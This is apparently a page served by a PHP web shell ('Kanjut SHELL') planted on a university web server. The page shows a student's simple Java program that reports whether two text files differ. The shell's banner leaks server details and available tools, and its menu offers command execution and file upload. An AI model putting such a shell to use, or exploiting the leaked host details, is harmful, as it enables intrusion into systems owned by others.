Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 13.58.188.166
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/gcjohnson/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/gcjohnson/cmp.java
//	Glenn Johnson
//	Assignment 6
//	compile: javac Cmp.java
//	run:	 java Cmp f1.txt  f2.txt

import java.util.Scanner;
import java.io.File;

public class cmp
{
        public static void main(String[] args)
                throws java.io.FileNotFoundException
        {
                // input1: args[0]; input2: args[1]
                if(args.length<2)
                        System.out.println("Need 2 files.\n\n");
                else
		{
                        Scanner input1 = new Scanner(new File(args[0]));
                        Scanner input2 = new Scanner(new File(args[1]));
                        String text1, text2;
			Boolean different = false;
			
			while((input1.hasNext() && input2.hasNext()) && !different)
                       	{
				text1 = input1.nextLine();
                        	text2 = input2.nextLine();
				if(text1.equals(text2)==false)
				{
					System.out.println("These are different.");
					different = true;
				}
			}
			if(input1.hasNext() == false)
			{
				if(input2.hasNext() == true)
				{
					System.out.println("These are different.");
				}
			}
			else if(input2.hasNext() == false)
			{
				if(input1.hasNext() == true)
				{
					System.out.println("These are different.");
				}
			}

                        input1.close();
                        input2.close();
                }
                System.out.println("\nByebye.\n");
        }
}

Stv3n404 - 2023